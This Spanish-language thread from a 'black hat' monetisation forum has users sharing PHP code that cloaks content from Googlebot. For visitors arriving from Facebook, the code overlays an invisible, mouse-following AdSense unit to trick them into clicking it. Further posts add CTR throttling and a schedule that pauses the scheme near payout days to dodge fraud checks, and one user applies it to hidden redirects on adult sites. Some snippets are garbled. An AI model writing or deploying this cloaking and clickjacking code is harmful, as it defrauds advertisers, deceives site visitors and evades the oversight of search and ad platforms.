Jump to content
ForoInner - Monetización web & Black Hat
Exkanon

Ocultar contenido a Bots de google.

Recommended Posts

Hola Exkanon, pero si utilizas un plugin cache el codigo PHP ya no sirviria porque solo se ejecutaria a la primera visita para generar el HTML y solo imprimira ese HTML, esto sirve solo para wordpress sin cache verdad?

Share this post


Link to post
Share on other sites

Diablos! el problema que no hay hosting que resistan una wordpress con 20 mil visitas al dia sin cache

Share this post


Link to post
Share on other sites

yo he visto en banahosting a unos wordpress con mas de 10mil online... ahora no se si con ese nivel de visitas aun andas en un compartido...

Share this post


Link to post
Share on other sites

Buenas, este código les ayudará si quieren esconder algo de google, por ejemplo redirecciones o cierto script BlackHat

lo suelo usar para poner la redirecciones de juicyads en mis webs XXX , y hacer redirecciones sin que google me joda las posiciones.

Saludos.

 

amigo si le pongo este codigo a tu script de seguir el mouse, seguira funcionando? es necesario ponerlo?

quedaria asi 

 

function is_bot(){

    $bots = array('Googlebot', 'googlebot');

 

   foreach($bots as $b){

       if( stripos( $_SERVER['HTTP_USER_AGENT'], $b ) !== false ) return true;

    }

   return false;

}

 

if(is_bot()){

 

}else

 

{

echo "";

}

 

$referer = $_SERVER['HTTP_REFERER'];

        $referer=str_replace("http://", "", $referer);

        $referer=str_replace("https://", "", $referer);

         $referer=str_replace("www.", "", $referer);

        $pieces2 = explode("/", $referer);

        $referer=$pieces2[0];

        

if($referer == 'facebook.com') { $ref="si"; } else  { $refer="no"; }

 

if(($ref=="si")) { 

 

 

$ctr =100;

    if (rand (0,100) <= $ctr)

    {

        $control="si";

    }

    else {

    $control="no";

    }

        }

if(($ref=="si") && ($control=="si") ) {

echo "

#clickjack

{

background-color: rgb(0,0,255); opacity: 0;

height: auto;

width: auto;

position: absolute;

top: 50;

left: 50;

border-bottom: 1px #76e042 solid;

border-bottom: 0px blue solid;

color: #ffffff;

padding: 0px;

z-index: 1001;

font-size: 13px;

}

";

echo "

";

echo "\n";

echo "\n";

echo "

\n";

echo "\n";

echo "\n";

echo " echo "style=\"display:inline-block;width:336px;height:280px\"\n"; echo "data-ad-client=\"ca-pub-xxxxxxxxxxxxx\"\n"; echo "data-ad-slot=\"xxxxxxxxx\">\n";

echo "

echo "(adsbygoogle = window.adsbygoogle || []).push({});\n";

echo "\n";

echo "

";

echo "

echo "var div = document.getElementById('clickjack');\n";

echo "document.addEventListener('mousemove',function(e) { \n";

echo "div.style.left = e.pageX -280 +\"px\";\n";

echo "div.style.top = e.pageY -360 +\"px\";\n";

echo "});\n";

echo "\n";    

echo "

"; 

}

Share this post


Link to post
Share on other sites

Esta validacion esta mal creo, si es bot no hace nada, pero abajo sigue validando otras cosas? en vez ya pararle o mandarle una variable centinela a lasa otras validaciones....

if(is_bot()){

 

}else

 

{

echo "";

}

 

otra cosa, eso de javascript que persigue al mouse en mi experiencia hace que no cuente el click, parece que google sabe cuando su anuncio esta moviendose por eventos mouse move, etc..... no hace valer los clicks, eso es lo que he podido experimentar

Share this post


Link to post
Share on other sites

abajo valida el referer y el control de ctr... solo eso... algunos validan los dias de "trabajo seguro"...

 

en lo que comentas del JS pues ni idea sobre eso... que tan cierto pueda ser???

Share this post


Link to post
Share on other sites

abajo valida el referer y el control de ctr... solo eso... algunos validan los dias de "trabajo seguro"...

 

en lo que comentas del JS pues ni idea sobre eso... que tan cierto pueda ser???

 

Sigo sin enteeder, osea que si no es bot lo mandas a la pagina donde esta los ocultos? eso no entiendo, porque bot debe entrar a una pagina y rastraerla toda sin redireccion, sino me equivoco es el mismo bot que anexa pagina. Si lo mandas a otra pagina nunca rastraera ese url y puede ser sospechoso, lo que seria es que encuentra el boot de google dejalo que siga a pagina pero romper con las otras valicaciones para que no pase nada y muestre la pagina como si nada, bueno esto del bot tendre que hablarlo con el dueño de la pagina para llegar a una conclusion :P

 

Y claro, el anuncio que persigue el mouse ya lo hice hace meses atras en una web con alto trafico y alto clics dando como resultado que ningun clic aumentaba con ese metodo, entonces es obvio que google tiene validado que su si su anuncio se mueve no hace valido ese clic

Share this post


Link to post
Share on other sites

el codigo php verifica si es un bot de google... si lo es no le muestra el truco del codigo oculto... es decir el bot entrara normal a la pagina y hara su rastreo con toda normalidad sin ver nada extraño mas que la pagina y los anuncios normales de la web...

 

si no es un bot entonces entra en ejecucion las otras dos verificaciones para ver si el trafico viene desde donde tu quieres que vaya (facebook, twitter, pinterest, lo que sea) y la otra es para controlar el ctr con una simple loteria en random...

 

espero haberme explicado un poquito mejor...

Share this post


Link to post
Share on other sites

el codigo php verifica si es un bot de google... si lo es no le muestra el truco del codigo oculto... es decir el bot entrara normal a la pagina y hara su rastreo con toda normalidad sin ver nada extraño mas que la pagina y los anuncios normales de la web...

 

si no es un bot entonces entra en ejecucion las otras dos verificaciones para ver si el trafico viene desde donde tu quieres que vaya (facebook, twitter, pinterest, lo que sea) y la otra es para controlar el ctr con una simple loteria en random...

 

espero haberme explicado un poquito mejor...

 

Que tan cierto es  que si el anuncio persigue el mouse no se valida como clikc?

Share this post


Link to post
Share on other sites

Hermano, quiero hacer un resumen aca!

Todos estos codigos se pueden emplear en blogger?

El script referer, este script para ocultar contenido a bots de google, y el script del mouse juntos hacen buena funcion? gracias!

En caso de wp donde se colocarian estos codigos? gracias por los aportes.

Share this post


Link to post
Share on other sites

El admin de esta pagina pone esto

 

if(is_bot()){

 

}else

 

{

echo "";

}

 

entonces si es bot no hace nada ok el bot de google rastrea la pagina sin validaciones, pero si no es bot lo redirecciona? esa parte no me queda claro porque no se para que hace esa redireccion, esa la duda

Share this post


Link to post
Share on other sites

Hermano una duda, y gracias por tus aportes!

En este siguiente codigo: echo "";

En "URL", debe ir la url de la entrada de mi web? ejemplo si la entradas es, http://hola.com/entrada

Quedaria asi: echo "http://hola.com/entrada\">";

Exacto? gracias de antemano, espero tu respuesta

Share this post


Link to post
Share on other sites

ese es el detalle que esta confuso en este Tema

 

Es lo mas logico, ademas creo que el codigo echo es para que los bots de google no detecten que en esa url  hay scritp, solo lo veran los visitantes a la pagina, eso creo.

Lo que no entiendo, es porque el admin dice que redirecciona.

Share this post


Link to post
Share on other sites

Buenas noches amigos Blackhatters. Quisiera que me explicaran como armar el script en el plugin que menciono el administrador. Yo uso este de ocultar el anuncio en un video:  

}  

Ahora como lo armo con este que cuida de los robots de Google: <?phpfunction is_bot(){   $bots = array('Googlebot', 'googlebot');  foreach($bots as $b){      if( stripos( $_SERVER['HTTP_USER_AGENT'], $b ) !== false ) return true;   }  return false;}if(is_bot()){}else{echo "";}?>Otra cosa, el plugin Seo By Yoast colocando Noindex, Nonfollow etc no me cuida de las revisiones de Google?. Gracias por el apoyo amigos.

Share this post


Link to post
Share on other sites
Otra cosa, el plugin Seo By Yoast colocando Noindex, Nonfollow etc no me cuida de las revisiones de Google?. Gracias por el apoyo amigos.

 

Exelente pregunta, y la redireccion sigo sin entender cual es el motivo logico que la hacen, gran dilema. Pronto hablare con el admin y preguntarle eso  :)

Share this post


Link to post
Share on other sites

Buenas vengo aclarar este punto mejor.


if(is_bot()){

}else

{
// a lo que me refiero aqui es que el redireccionamiento este no lo vera google ni nada de lo que este en este else
echo "";
// bien podria poner aqui el codigo oculto y estaria oculto a googlebot
// u colocar otro echo con el codigo oculto etc.
}

Share this post


Link to post
Share on other sites

Buenas vengo aclarar este punto mejor.


if(is_bot()){

}else

{
// a lo que me refiero aqui es que el redireccionamiento este no lo vera google ni nada de lo que este en este else
echo "";
// bien podria poner aqui el codigo oculto y estaria oculto a googlebot
// u colocar otro echo con el codigo oculto etc.
}

 

entonces el script quedaria asi? mira hasta el final porfavor, al fina le agregue otro corchete ya que dice que debe abarcar todo, por cierto que se pone en los primeros asteriscos que estan de azul? ademas lo puse y se activa tambien para visitas que vienen de google que hice mal?

<?php

function is_bot(){
    $bots = array('Googlebot', 'googlebot');[/b][/color]

 foreach($bots as $b){[/b][/color]
     if( stripos( $_SERVER['HTTP_USER_AGENT'], $b ) !== false ) return true;
    }[/b][/color]
   return false;
}

if(is_bot()){

}else

{

// Desactivar las 3 condiciones
$demo = true;

// CondiciÛn 1 - Mostrar a usuarios que llegan de Facebook
$referer = $_SERVER['HTTP_REFERER'];

$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];

if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }

// CondiciÛn 2 - Control de CTR

if($filtro1=="si") { 

$porcentaje = 100;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}

// CondiciÛn 3 - No ejecutar script oculto si son dÌas cercanos al cobro

if(($filtro1=="si") && ($filtro2=="si")) { 

$dia=date("d");
if(($dia=="18") ||
($dia=="19") || 
($dia=="20") || 
($dia=="21") || 
($dia=="22") || 
($dia=="23") || 
($dia=="24") || 
($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }

}

$codigoAdsense= '

    style="display:inline-block;width:336px;height:280px"
    data-ad-client="ca-pub-****************"
    data-ad-slot="*************">
';

$estilo="";
if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) { 

echo $estilo;
echo "";
echo $codigoAdsense;
echo "";
echo "";

}

}?>

Share this post


Link to post
Share on other sites

Hola amigos, quien por favor me puede corregir este código?. Aquí tengo el código ocultar anuncio de adsense, referer para solo activarse desde Facebook, control de CTR, control de los días y el de ocultar contenido a bots, no tengo el de referal si alguien me lo facilita lo agradezco. El anuncio lo oculto como no flotante, asi que imagino que debería salir oculto dentro de un video de youtube. Para hacer un embed como este  y el auncio salga ahi donde coloco esto en el codigo?. Gracias por la ayuda.

<?php
function is_bot(){
   $bots = array('Googlebot', 'googlebot');

  foreach($bots as $b){
      if( stripos( $_SERVER['HTTP_USER_AGENT'], $b ) !== false ) return true;
   }
  return false;
}

if(is_bot()){

}else

{
echo "";
}
?>
//
$demo = true;


//
$referer = $_SERVER['HTTP_REFERER'];

$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];

if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }

//

if($filtro1=="si") { 

$porcentaje = 7;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}

//

if(($filtro1=="si") && ($filtro2=="si")) { 

$dia=date("d");
if(($dia=="18") ||
($dia=="19") || 
($dia=="20") || 
($dia=="21") || 
($dia=="22") || 
($dia=="23")) { $filtro3="no"; } else { $filtro3="si"; }

}

$codigoAdsense= '

   style="display:inline-block;width:336px;height:280px"
   data-ad-client="ca-pub-*************"
   data-ad-slot="**************">
';

$estilo="";
if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) { 

echo $estilo;
echo "";
echo $codigoAdsense;
echo "";
echo "";

} else { 

} ?>

Share this post


Link to post
Share on other sites

Buenas, este código les ayudará si quieren esconder algo de google, por ejemplo redirecciones o cierto script BlackHat

lo suelo usar para poner la redirecciones de juicyads en mis webs XXX , y hacer redirecciones sin que google me joda las posiciones.

Saludos.

 

Si solo quisiera hacer redireccion en los post, en TODOS los post de la pagina web, ¿este código tal, cual iría en single.php?, a ver si me pueden aclarar algo más, gracias.

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


Board Life Status


Board startup date: August 07, 2019 15:30:07
×
×
  • Create New...